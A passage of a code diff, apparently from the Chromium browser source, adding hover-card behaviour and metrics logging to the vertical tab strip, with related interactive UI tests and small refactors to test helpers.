   raw_ptr<TabStripFlatEdgeButton> new_tab_button_ = nullptr;
   base::CallbackListSubscription collapsed_state_changed_subscription_;
+  base::CallbackListSubscription new_tab_button_pressed_subscription_;
 
   std::unique_ptr<views::ActionViewController> action_view_controller_;
 };
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container_interactive_uitest.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container_interactive_uitest.cc
index 0cd246d..b2e2db2f 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container_interactive_uitest.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_bottom_container_interactive_uitest.cc
@@ -3,6 +3,8 @@
 // found in the LICENSE file.
 
 #include "base/check_op.h"
+#include "base/test/metrics/histogram_tester.h"
+#include "base/test/metrics/user_action_tester.h"
 #include "build/build_config.h"
 #include "chrome/browser/ui/browser_element_identifiers.h"
 #include "chrome/browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_everything_menu.h"
@@ -23,15 +25,27 @@
 // of the vertical tab strip
 IN_PROC_BROWSER_TEST_F(VerticalTabStripBottomContainerInteractiveUiTest,
                        VerifyNewTabButton) {
+  base::HistogramTester histogram_tester;
+  base::UserActionTester user_action_tester;
   RunTestSequence(
       CheckResult([this]() { return browser()->tab_strip_model()->count(); },
                   1),
+      Do([&]() {
+        histogram_tester.ExpectTotalCount(
+            "TabStrip.TimeToCreateNewTabFromPress", 0);
+        EXPECT_EQ(0, user_action_tester.GetActionCount("NewTab_Button"));
+      }),
       WaitForShow(kVerticalTabStripBottomContainerElementId),
       EnsurePresent(kNewTabButtonElementId),
       PressButton(kNewTabButtonElementId,
                   ui::test::InteractionTestUtil::InputType::kDontCare),
       CheckResult([this]() { return browser()->tab_strip_model()->count(); },
-                  2));
+                  2),
+      Do([&]() {
+        histogram_tester.ExpectTotalCount(
+            "TabStrip.TimeToCreateNewTabFromPress", 1);
+        EXPECT_EQ(1, user_action_tester.GetActionCount("NewTab_Button"));
+      }));
 }
 
 // This test checks that we can click the tab group button in the bottom
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.cc
index 8eefb4c..b8393191 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.cc
@@ -39,8 +39,12 @@
     TabStripModel* model,
     BrowserView* browser_view,
     VerticalTabDragHandler& drag_handler,
+    TabHoverCardController* hover_card_controller,
     std::unique_ptr<TabMenuModelFactory> menu_model_factory_override)
-    : model_(model), browser_view_(browser_view), drag_handler_(drag_handler) {
+    : model_(model),
+      browser_view_(browser_view),
+      drag_handler_(drag_handler),
+      hover_card_controller_(hover_card_controller) {
   if (menu_model_factory_override) {
     menu_model_factory_ = std::move(menu_model_factory_override);
   } else {
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.h b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.h
index e400841..fd6d976e 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.h
@@ -18,6 +18,7 @@
 class BrowserView;
 class TabCollectionNode;
 class TabGroup;
+class TabHoverCardController;
 
 namespace tabs {
 class TabInterface;
@@ -39,6 +40,7 @@
   VerticalTabStripController(TabStripModel* model,
                              BrowserView* browser_view,
                              VerticalTabDragHandler& drag_handler,
+                             TabHoverCardController* hover_card_controller,
                              std::unique_ptr<TabMenuModelFactory>
                                  menu_model_factory_override = nullptr);
   VerticalTabStripController(const VerticalTabStripController&) = delete;
@@ -75,6 +77,10 @@
 
   VerticalTabDragHandler& GetDragHandler() { return drag_handler_.get(); }
 
+  TabHoverCardController* GetHoverCardController() {
+    return hover_card_controller_.get();
+  }
+
   // Notifies BrowserCommandController that the tab with keyboard focus has
   // changed.
   void TabKeyboardFocusChangedTo(const tabs::TabInterface* tab);
@@ -104,6 +110,7 @@
   raw_ptr<TabStripModel> model_;
   raw_ptr<BrowserView> browser_view_;
   const raw_ref<VerticalTabDragHandler> drag_handler_;
+  raw_ptr<TabHoverCardController> hover_card_controller_;
 };
 
 #endif  // CHROME_BROWSER_UI_VIEWS_TABS_VERTICAL_VERTICAL_TAB_STRIP_CONTROLLER_H_
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller_interactive_uitest.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller_interactive_uitest.cc
index 3bfe8b3..70e938c 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller_interactive_uitest.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller_interactive_uitest.cc
@@ -4,13 +4,16 @@
 
 #include "chrome/app/chrome_command_ids.h"
 #include "chrome/browser/ui/browser.h"
+#include "chrome/browser/ui/browser_commands.h"
 #include "chrome/browser/ui/browser_element_identifiers.h"
 #include "chrome/browser/ui/browser_window/public/browser_window_features.h"
 #include "chrome/browser/ui/tabs/tab_group_model.h"
 #include "chrome/browser/ui/tabs/tab_menu_model.h"
+#include "chrome/browser/ui/tabs/tab_strip_model.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
 #include "chrome/browser/ui/views/frame/browser_widget.h"
 #include "chrome/browser/ui/views/frame/vertical_tab_strip_region_view.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_bubble_view.h"
 #include "chrome/browser/ui/views/tabs/vertical/vertical_tab_view.h"
 #include "chrome/browser/ui/views/test/vertical_tabs_interactive_test_mixin.h"
 #include "chrome/grit/generated_resources.h"
@@ -24,6 +27,7 @@
 #include "ui/events/event_constants.h"
 #include "ui/events/keycodes/keyboard_codes.h"
 #include "ui/menus/simple_menu_model.h"
+#include "ui/views/controls/scroll_view.h"
 #include "ui/views/interaction/interactive_views_test.h"
 
 namespace {
@@ -446,4 +450,97 @@
       WaitForHide(kUnfocusTabGroupButtonElementId));
 }
 
+// TODO(crbug.com/481392191) Fix these flaky hovercard tests.
+#if BUILDFLAG(IS_WIN)
+#define MAYBE_VerticalTabHoverCardShowUnpinned \
+  DISABLED_VerticalTabHoverCardShowUnpinned
+#else
+#define MAYBE_VerticalTabHoverCardShowUnpinned VerticalTabHoverCardShowUnpinned
+#endif  // BUILDFLAG(IS_WIN)
+IN_PROC_BROWSER_TEST_F(VerticalTabStripControllerInteractiveUiTest,
+                       MAYBE_VerticalTabHoverCardShowUnpinned) {
+  RunTestSequence(
+      WaitForShow(kVerticalTabStripBottomContainerElementId),
+      MoveMouseTo(kVerticalTabStripBottomContainerElementId),
+      NameDescendantViewByType<VerticalTabView>(kBrowserViewElementId,
+                                                kFirstTabName, 0),
+      MoveMouseTo(kFirstTabName),
+      WaitForShow(TabHoverCardBubbleView::kHoverCardBubbleElementId));
+}
+
+#if BUILDFLAG(IS_WIN)
+#define MAYBE_ScrollingHidesHoverCard DISABLED_ScrollingHidesHoverCard
+#else
+#define MAYBE_ScrollingHidesHoverCard ScrollingHidesHoverCard
+#endif  // BUILDFLAG(IS_WIN)
+IN_PROC_BROWSER_TEST_F(VerticalTabStripControllerInteractiveUiTest,
+                       MAYBE_ScrollingHidesHoverCard) {
+  RunTestSequence(
+      WaitForShow(kVerticalTabStripBottomContainerElementId),
+      MoveMouseTo(kVerticalTabStripBottomContainerElementId),
+      NameDescendantViewByType<VerticalTabView>(kBrowserViewElementId,
+                                                kFirstTabName, 0),
+      MoveMouseTo(kFirstTabName),
+      WaitForShow(TabHoverCardBubbleView::kHoverCardBubbleElementId),
+      Do([this]() {
+        views::View* tab_strip_view =
+            BrowserView::GetBrowserViewForBrowser(browser())
+                ->vertical_tab_strip_region_view_for_testing()
+                ->GetTabStripView();
+        VerticalTabStripView* vertical_tab_strip_view =
+            static_cast<VerticalTabStripView*>(tab_strip_view);
+        vertical_tab_strip_view->unpinned_tabs_scroll_view_for_testing()
+            ->ScrollByOffset({0, -100});
+      }),
+      WaitForHide(TabHoverCardBubbleView::kHoverCardBubbleElementId));
+}
+
+#if BUILDFLAG(IS_WIN)
+#define MAYBE_MousePressHidesHoverCard DISABLED_MousePressHidesHoverCard
+#else
+#define MAYBE_MousePressHidesHoverCard MousePressHidesHoverCard
+#endif  // BUILDFLAG(IS_WIN)
+IN_PROC_BROWSER_TEST_F(VerticalTabStripControllerInteractiveUiTest,
+                       MAYBE_MousePressHidesHoverCard) {
+  RunTestSequence(
+      WaitForShow(kVerticalTabStripBottomContainerElementId),
+      MoveMouseTo(kVerticalTabStripBottomContainerElementId),
+      NameDescendantViewByType<VerticalTabView>(kBrowserViewElementId,
+                                                kFirstTabName, 0),
+      MoveMouseTo(kFirstTabName),
+      WaitForShow(TabHoverCardBubbleView::kHoverCardBubbleElementId),
+      ClickMouse(ui_controls::MouseButton::LEFT, /*release=*/false),
+      WaitForHide(TabHoverCardBubbleView::kHoverCardBubbleElementId));
+}
+
+IN_PROC_BROWSER_TEST_F(VerticalTabStripControllerInteractiveUiTest,
+                       DISABLED_VerticalTabHoverCardShowPinned) {
+  TabStripModel* model = browser()->tab_strip_model();
+  model->SetTabPinned(0, true);
+
+  RunTestSequence(
+      WaitForShow(kVerticalTabStripBottomContainerElementId),
+      NameDescendantViewByType<VerticalTabView>(kBrowserViewElementId,
+                                                kFirstTabName, 0),
+      MoveMouseTo(kVerticalTabStripBottomContainerElementId),
+      MoveMouseTo(kFirstTabName),
+      WaitForShow(TabHoverCardBubbleView::kHoverCardBubbleElementId));
+}
+
+IN_PROC_BROWSER_TEST_F(VerticalTabStripControllerInteractiveUiTest,
+                       DISABLED_VerticalTabHoverCardSplitView) {
+  TabStripModel* model = browser()->tab_strip_model();
+  chrome::NewTab(browser());
+  model->ActivateTabAt(0);
+  model->AddToNewSplit({1}, {},
+                       split_tabs::SplitTabCreatedSource::kTabContextMenu);
+  RunTestSequence(
+      WaitForShow(kVerticalTabStripBottomContainerElementId),
+      NameDescendantViewByType<VerticalTabView>(kBrowserViewElementId,
+                                                kFirstTabName, 0),
+      MoveMouseTo(kVerticalTabStripBottomContainerElementId),
+      MoveMouseTo(kFirstTabName),
+      WaitForShow(TabHoverCardBubbleView::kHoverCardBubbleElementId));
+}
+
 }  // namespace
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.cc
index 452496d..3d6c1820 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.cc
@@ -11,6 +11,7 @@
 #include "chrome/browser/ui/color/chrome_color_id.h"
 #include "chrome/browser/ui/layout_constants.h"
 #include "chrome/browser/ui/tabs/tab_strip_model.h"
+#include "chrome/browser/ui/views/tabs/tab_hover_card_controller.h"
 #include "chrome/browser/ui/views/tabs/vertical/tab_collection_node.h"
 #include "chrome/browser/ui/views/tabs/vertical/vertical_pinned_tab_container_view.h"
 #include "chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_controller.h"
@@ -30,19 +31,6 @@
 #include "ui/views/view_tracker.h"
 #include "ui/views/view_utils.h"
 
-namespace {
-void SetScrollViewProperties(views::ScrollView* scroll_view) {
-  scroll_view->SetUseContentsPreferredSize(true);
-  scroll_view->SetBackgroundColor(std::nullopt);
-  scroll_view->SetHorizontalScrollBarMode(
-      views::ScrollView::ScrollBarMode::kDisabled);
-  scroll_view->SetOverflowGradientMask(
-      views::ScrollView::GradientDirection::kVertical);
-  scroll_view->SetVerticalScrollBar(
-      std::make_unique<VerticalTabStripScrollBar>());
-}
-}  // namespace
-
 VerticalTabStripView::VerticalTabStripView(TabCollectionNode* collection_node)
     : collection_node_(collection_node) {
   SetLayoutManager(std::make_unique<views::DelegatingLayoutManager>(this));
@@ -53,7 +41,6 @@
   SetScrollViewProperties(pinned_tabs_scroll_view_);
 
   auto tabs_separator = std::make_unique<views::Separator>();
-  tabs_separator->SetColorId(kColorTabDividerFrameActive);
   tabs_separator_ = AddChildView(std::move(tabs_separator));
 
   unpinned_tabs_scroll_view_ = AddChildView(std::make_unique<views::ScrollView>(
@@ -66,11 +53,12 @@
   collection_node->set_remove_child_from_node(base::BindRepeating(
       &VerticalTabStripView::RemoveScrollViewContents, base::Unretained(this)));
 
-  node_destroyed_subscription_ =
+  callback_subscriptions_.emplace_back(
       collection_node_->RegisterWillDestroyCallback(base::BindOnce(
-          &VerticalTabStripView::ResetCollectionNode, base::Unretained(this)));
+          &VerticalTabStripView::ResetCollectionNode, base::Unretained(this))));
 
   SetNotifyEnterExitOnChild(true);
+  UpdateColors();
 }
 
 VerticalTabStripView::~VerticalTabStripView() = default;
@@ -143,7 +131,11 @@
                                      pinned_container_bounds);
 
   if (pinned_container_bounds.height()) {
-    y += pinned_container_bounds.height() + region_vertical_padding;
+    y += pinned_container_bounds.height();
+    // Add padding only if there are pinned and unpinned tabs.
+    if (unpinned_preferred_height != 0) {
+      y += region_vertical_padding;
+    }
   }
 
   // Place the tabs separator if visible.
@@ -182,6 +174,12 @@
   return layouts;
 }
 
+void VerticalTabStripView::AddedToWidget() {
+  paint_as_active_subscription_ =
+      GetWidget()->RegisterPaintAsActiveChangedCallback(base::BindRepeating(
+          &VerticalTabStripView::UpdateColors, base::Unretained(this)));
+}
+
 gfx::Size VerticalTabStripView::GetMinimumSize() const {
   // The minimum height of the tabstrip should be enough to show a tab and a
   // half, showing a partial overflow so that the user knows the container can
@@ -201,6 +199,19 @@
   has_reported_time_mouse_entered_to_switch_ = false;
 }
 
+void VerticalTabStripView::OnMouseExited(const ui::MouseEvent& event) {
+  if (!collection_node_) {
+    return;
+  }
+
+  if (TabHoverCardController* hover_card_controller =
+          collection_node_->GetController()->GetHoverCardController();
+      hover_card_controller && hover_card_controller->IsHoverCardVisible()) {
+    hover_card_controller->UpdateHoverCard(
+        nullptr, TabSlotController::HoverCardUpdateType::kHover);
+  }
+}
+
 void VerticalTabStripView::OnTabStripModelChanged(
     TabStripModel* tab_strip_model,
     const TabStripModelChange& change,
@@ -332,6 +343,21 @@
   NOTREACHED();
 }
 
+void VerticalTabStripView::SetScrollViewProperties(
+    views::ScrollView* scroll_view) {
+  scroll_view->SetUseContentsPreferredSize(true);
+  scroll_view->SetBackgroundColor(std::nullopt);
+  scroll_view->SetHorizontalScrollBarMode(
+      views::ScrollView::ScrollBarMode::kDisabled);
+  scroll_view->SetOverflowGradientMask(
+      views::ScrollView::GradientDirection::kVertical);
+  scroll_view->SetVerticalScrollBar(
+      std::make_unique<VerticalTabStripScrollBar>());
+  callback_subscriptions_.emplace_back(scroll_view->AddContentsScrolledCallback(
+      base::BindRepeating(&VerticalTabStripView::HideHoverCardOnScroll,
+                          base::Unretained(this))));
+}
+
 void VerticalTabStripView::ResetCollectionNode() {
   collection_node_ = nullptr;
 }
@@ -373,5 +399,27 @@
   scroll_view->ScrollByOffset({0, static_cast<float>(diff)});
 }
 
+void VerticalTabStripView::UpdateColors() {
+  tabs_separator_->SetColorId(IsFrameActive() ? kColorTabDividerFrameActive
+                                              : kColorTabDividerFrameInactive);
+}
+
+bool VerticalTabStripView::IsFrameActive() const {
+  return GetWidget() ? GetWidget()->ShouldPaintAsActive() : true;
+}
+
+void VerticalTabStripView::HideHoverCardOnScroll() {
+  if (!collection_node_) {
+    return;
+  }
+
+  if (TabHoverCardController* hover_card_controller =
+          collection_node_->GetController()->GetHoverCardController();
+      hover_card_controller && hover_card_controller->IsHoverCardVisible()) {
+    hover_card_controller->UpdateHoverCard(
+        nullptr, TabSlotController::HoverCardUpdateType::kAnimating);
+  }
+}
+
 BEGIN_METADATA(VerticalTabStripView)
 END_METADATA
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.h b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.h
index fd724d11..25459e7 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_strip_view.h
@@ -38,6 +38,9 @@
   ~VerticalTabStripView() override;
 
   views::Separator* tabs_separator_for_testing() { return tabs_separator_; }
+  views::ScrollView* unpinned_tabs_scroll_view_for_testing() {
+    return unpinned_tabs_scroll_view_;
+  }
   VerticalPinnedTabContainerView* GetPinnedTabsContainer();
   VerticalUnpinnedTabContainerView* GetUnpinnedTabsContainer();
 
@@ -52,8 +55,10 @@
       const views::SizeBounds& size_bounds) const override;
 
   // views::View:
+  void AddedToWidget() override;
   gfx::Size GetMinimumSize() const override;
   void OnMouseEntered(const ui::MouseEvent& event) override;
+  void OnMouseExited(const ui::MouseEvent& event) override;
 
   // TabStripModelObserver:
   void OnTabStripModelChanged(
@@ -66,6 +71,7 @@
  private:
   views::View* AddScrollViewContents(std::unique_ptr<views::View> view);
   void RemoveScrollViewContents(views::View* view);
+  void SetScrollViewProperties(views::ScrollView* scroll_view);
   void ResetCollectionNode();
 
   // Called when the compositor has successfully presented the next frame
@@ -74,6 +80,12 @@
       views::ScrollView* scroll_view,
       std::unique_ptr<views::ViewTracker> tracked_view);
 
+  void UpdateColors();
+
+  bool IsFrameActive() const;
+
+  void HideHoverCardOnScroll();
+
   raw_ptr<TabCollectionNode> collection_node_ = nullptr;
   raw_ptr<views::ScrollView> pinned_tabs_scroll_view_ = nullptr;
   raw_ptr<VerticalPinnedTabContainerView> pinned_tabs_container_view_ = nullptr;
@@ -82,12 +94,15 @@
   raw_ptr<VerticalUnpinnedTabContainerView> unpinned_tabs_container_view_ =
       nullptr;
   bool is_collapsed_ = false;
-  base::CallbackListSubscription node_destroyed_subscription_;
 
   // Used for seek time metrics from the time the mouse enters the tabstrip.
   std::optional<base::TimeTicks> mouse_entered_tabstrip_time_;
   // Used to track if the time from mouse entered to tab switch been reported.
   bool has_reported_time_mouse_entered_to_switch_ = false;
+
+  base::CallbackListSubscription node_destroyed_subscription_;
+  base::CallbackListSubscription paint_as_active_subscription_;
+  std::vector<base::CallbackListSubscription> callback_subscriptions_;
 };
 
 #endif  // CHROME_BROWSER_UI_VIEWS_TABS_VERTICAL_VERTICAL_TAB_STRIP_VIEW_H_
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.cc
index 594d832e..94ab791 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.cc
@@ -129,7 +129,8 @@
 }  // namespace
 
 VerticalTabView::VerticalTabView(TabCollectionNode* collection_node)
-    : collection_node_(collection_node),
+    : HoverCardAnchorTarget(this),
+      collection_node_(collection_node),
       tab_style_(TabStyle::Get()),
       icon_(AddChildView(std::make_unique<TabIcon>())),
       title_(AddChildView(std::make_unique<VerticalTabTitle>())),
@@ -285,6 +286,7 @@
   auto* controller = collection_node_->GetController();
   shift_pressed_on_mouse_down_ = event.IsShiftDown();
   RecordMousePressedInTab();
+  UpdateHoverCard(nullptr, TabSlotController::HoverCardUpdateType::kEvent);
 
   if (event.IsOnlyLeftMouseButton() ||
       (event.IsOnlyRightMouseButton() && event.flags() & ui::EF_FROM_TOUCH)) {
@@ -299,6 +301,7 @@
       }
     } else if (!selected_) {
       controller->SelectTab(GetTabInterface(), GetGestureDetail(event));
+      base::RecordAction(base::UserMetricsAction("SwitchTab_Click"));
     }
     // Potentially start the drag for the mouse press.
     // Follow-up mouse-movement events will update the drag controller and
@@ -343,6 +346,8 @@
 }
 
 void VerticalTabView::OnMouseEntered(const ui::MouseEvent& event) {
+  UpdateHoverCard(this, TabSlotController::HoverCardUpdateType::kHover);
+
   // Hover state is handled by the parent if it is split.
   if (split_) {
     return;
@@ -352,6 +357,8 @@
 }
 
 void VerticalTabView::OnMouseExited(const ui::MouseEvent& event) {
+  UpdateHoverCard(nullptr, TabSlotController::HoverCardUpdateType::kHover);
+
   // Hover state is handled by the parent if it is split.
   if (split_) {
     return;
@@ -605,6 +612,31 @@
   }
 }
 
+bool VerticalTabView::IsActive() const {
+  return active_;
+}
+
+bool VerticalTabView::IsValid() const {
+  return collection_node_ && !IsDragging();
+}
+
+const TabRendererData& VerticalTabView::data() const {
+  return tab_data_;
+}
+
+views::BubbleBorder::Arrow VerticalTabView::GetAnchorPosition() const {
+  bool vertical_tab_strip_collapsed = false;
+  if (VerticalTabStripController* controller =
+          collection_node_->GetController()) {
+    vertical_tab_strip_collapsed = controller->IsCollapsed();
+  }
+
+  if (pinned_ && !vertical_tab_strip_collapsed) {
+    return views::BubbleBorder::Arrow::TOP_LEFT;
+  }
+  return views::BubbleBorder::Arrow::LEFT_TOP;
+}
+
 void VerticalTabView::ResetCollectionNode() {
   collection_node_ = nullptr;
 }
@@ -754,7 +786,9 @@
   }
 
   // Hide the interactive close button while the tab is animating out.
-  close_button_->SetVisible(false);
+  if (close_button_) {
+    close_button_->SetVisible(false);
+  }
 }
 
 void VerticalTabView::RecordMousePressedInTab() {
@@ -817,9 +851,29 @@
                               : TabStyle::TabSelectionState::kInactive);
 }
 
+bool VerticalTabView::IsDragging() const {
+  return collection_node_ && collection_node_->GetController() &&
+         collection_node_->GetController()->GetDragHandler().IsViewDragging(
+             *this);
+}
+
 const tabs::TabInterface* VerticalTabView::GetTabInterface() const {
   return std::get<const tabs::TabInterface*>(collection_node_->GetNodeData());
 }
 
+void VerticalTabView::UpdateHoverCard(HoverCardAnchorTarget* target,
+                                      int hover_card_update_type) {
+  if (!collection_node_) {
+    return;
+  }
+
+  if (TabHoverCardController* hover_card_controller =
+          collection_node_->GetController()->GetHoverCardController()) {
+    hover_card_controller->UpdateHoverCard(
+        target, static_cast<TabSlotController::HoverCardUpdateType>(
+                    hover_card_update_type));
+  }
+}
+
 BEGIN_METADATA(VerticalTabView)
 END_METADATA
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.h b/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.h
index 93fc4ac..a1e7d94 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_view.h
@@ -13,6 +13,7 @@
 #include "chrome/browser/ui/tabs/tab_renderer_data.h"
 #include "chrome/browser/ui/tabs/tab_style.h"
 #include "chrome/browser/ui/views/tabs/alert_indicator_button.h"
+#include "chrome/browser/ui/views/tabs/hover_card_anchor_target.h"
 #include "chrome/browser/ui/views/tabs/tab_context_menu_controller.h"
 #include "chrome/common/buildflags.h"
 #include "components/tabs/public/tab_interface.h"
@@ -49,7 +50,8 @@
                         public views::LayoutDelegate,
                         public views::MaskedTargeterDelegate,
                         public AlertIndicatorButton::Delegate,
-                        public views::ContextMenuController {
+                        public views::ContextMenuController,
+                        public HoverCardAnchorTarget {
   METADATA_HEADER(VerticalTabView, views::View)
 
  public:
@@ -66,12 +68,17 @@
 
   const TabCollectionNode* collection_node() const { return collection_node_; }
   const TabStyle* tab_style() { return tab_style_; }
-  const TabRendererData& tab_data() const { return tab_data_; }
   float radial_highlight_opacity() { return radial_highlight_opacity_; }
 
   TabCloseButton* close_button_for_testing() { return close_button_; }
   bool collapsed_for_testing() { return collapsed_; }
 
+  // HoverCardAnchorTarget:
+  bool IsActive() const override;
+  bool IsValid() const override;
+  const TabRendererData& data() const override;
+  views::BubbleBorder::Arrow GetAnchorPosition() const override;
+
  private:
   // views::View
   void Layout(PassKey) override;
@@ -141,6 +148,9 @@
   void CloseButtonPressed(const ui::Event& event);
   void RecordMousePressedInTab();
 
+  void UpdateHoverCard(HoverCardAnchorTarget* target,
+                       int hover_card_update_type);
+
   bool IsHoverAnimationActive() const;
   double GetHoverAnimationValue() const;
   float GetHoverOpacity() const;
@@ -148,6 +158,8 @@
   bool IsFrameActive() const;
   TabStyle::TabSelectionState GetSelectionState() const;
 
+  bool IsDragging() const;
+
   const tabs::TabInterface* GetTabInterface() const;
 
   raw_ptr<TabCollectionNode> collection_node_ = nullptr;
@@ -174,6 +186,8 @@
   bool selected_ = false;
   bool hovered_ = false;
   bool split_ = false;
+  // |collapsed_| represents whether the VerticalTabView itself is collapsed,
+  // which is not the same as if the VerticalTabStripView is collapsed.
   bool collapsed_ = false;
   bool pinned_ = false;
   bool shift_pressed_on_mouse_down_ = false;
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_tab_view_browsertest.cc b/chrome/browser/ui/views/tabs/vertical/vertical_tab_view_browsertest.cc
index 5efc1d2..71218d9 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_tab_view_browsertest.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_tab_view_browsertest.cc
@@ -540,3 +540,24 @@
   EXPECT_EQ(user_action_tester.GetActionCount("CloseTab_NoAlertIndicator"), 1);
   EXPECT_EQ(user_action_tester.GetActionCount("CloseTab_EndTabInSplit"), 1);
 }
+
+IN_PROC_BROWSER_TEST_F(VerticalTabViewTest, LogsTabSwitchMetrics) {
+  base::UserActionTester user_action_tester;
+
+  TabCollectionNode* tab_node = unpinned_collection_node()->children()[0].get();
+  VerticalTabView* tab_view =
+      views::AsViewClass<VerticalTabView>(tab_node->view());
+
+  AppendTab();
+  ASSERT_EQ(1, tab_strip_model()->active_index());
+  ASSERT_EQ(0, user_action_tester.GetActionCount("SwitchTab_Click"));
+
+  ui::test::EventGenerator event_generator(
+      views::GetRootWindow(browser()->GetBrowserView().GetWidget()),
+      browser()->GetBrowserView().GetNativeWindow());
+  event_generator.MoveMouseTo(tab_view->GetBoundsInScreen().CenterPoint());
+  event_generator.ClickLeftButton();
+
+  EXPECT_EQ(0, tab_strip_model()->active_index());
+  EXPECT_EQ(1, user_action_tester.GetActionCount("SwitchTab_Click"));
+}
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.cc b/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.cc
index 0d6cb88d..4dadd462 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.cc
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.cc
@@ -179,17 +179,11 @@
 }
 
 void VerticalUnpinnedTabContainerView::HandleTabDragInContainer(
-    const gfx::Point point_in_container) {
+    const gfx::Point& point_in_container) {
   const views::ProposedLayout& target_layout = layout_manager_->target_layout();
-  if (point_in_container.y() >= target_layout.host_size.height()) {
-    GetDragHandler().HandleDraggedTabsOverNode(*collection_node_,
-                                               DragPositionHint::kBottom);
-    return;
-  }
-
   views::View* view_at_point =
       GetViewAtPoint(target_layout, point_in_container);
-  const TabCollectionNode* node = collection_node_;
+  const TabCollectionNode* node = nullptr;
   if (auto* tab_view = views::AsViewClass<VerticalTabView>(view_at_point)) {
     node = tab_view->collection_node();
   } else if (auto* group_view =
@@ -212,8 +206,9 @@
                  views::AsViewClass<VerticalSplitTabView>(view_at_point)) {
     node = split_tab_view->collection_node();
   }
-  CHECK(node);
-  GetDragHandler().HandleDraggedTabsOverNode(*node, std::nullopt);
+  if (node) {
+    GetDragHandler().HandleDraggedTabsOverNode(*node, std::nullopt);
+  }
 }
 
 VerticalDraggedTabsContainer&
diff --git a/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.h b/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.h
index fe226b1d..307948f 100644
--- a/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.h
+++ b/chrome/browser/ui/views/tabs/vertical/vertical_unpinned_tab_container_view.h
@@ -53,7 +53,7 @@
   bool IsTabStripCollapsed() const override;
   views::ScrollView* GetScrollViewForContainer() const override;
   void UpdateLayoutForDrag() override;
-  void HandleTabDragInContainer(const gfx::Point point_in_container) override;
+  void HandleTabDragInContainer(const gfx::Point& point_in_container) override;
 
   void ResetCollectionNode();
 
diff --git a/chrome/browser/ui/views/toolbar/app_menu_browsertest.cc b/chrome/browser/ui/views/toolbar/app_menu_browsertest.cc
index 4d23bee1..02d62f2 100644
--- a/chrome/browser/ui/views/toolbar/app_menu_browsertest.cc
+++ b/chrome/browser/ui/views/toolbar/app_menu_browsertest.cc
@@ -218,8 +218,9 @@
           base::FilePath(), base::FilePath().AppendASCII("simple.html")),
       ui::PAGE_TRANSITION_TYPED);
   EXPECT_TRUE(content::WaitForLoadStop(new_contents));
+  ui_test_utils::BrowserDestroyedObserver observer(second_browser);
   chrome::CloseWindow(second_browser);
-  ui_test_utils::WaitForBrowserToClose(second_browser);
+  observer.Wait();
   EXPECT_TRUE(std::ranges::contains(tab_restore_service->entries(),
                                     sessions::tab_restore::Type::WINDOW,
                                     &sessions::tab_restore::Entry::type));
diff --git a/chrome/browser/ui/views/toolbar/app_menu_interactive_uitest.cc b/chrome/browser/ui/views/toolbar/app_menu_interactive_uitest.cc
index 27f82d5a..010ea33c 100644
--- a/chrome/browser/ui/views/toolbar/app_menu_interactive_uitest.cc
+++ b/chrome/browser/ui/views/toolbar/app_menu_interactive_uitest.cc
@@ -304,7 +304,8 @@
       PressButton(kToolbarAppMenuButtonElementId),
       // Close all browsers, ensure the browser process does not crash.
       Do([]() {
+        ui_test_utils::BrowserDestroyedObserver observer;
         chrome::CloseAllBrowsers();
-        ui_test_utils::WaitForBrowserToClose();
+        observer.Wait();
       }));
 }
diff --git a/chrome/browser/ui/views/toolbar/chrome_labs/chrome_labs_unittest.cc b/chrome/browser/ui/views/toolbar/chrome_labs/chrome_labs_unittest.cc
index 4c08bc1..c3ba947bd 100644
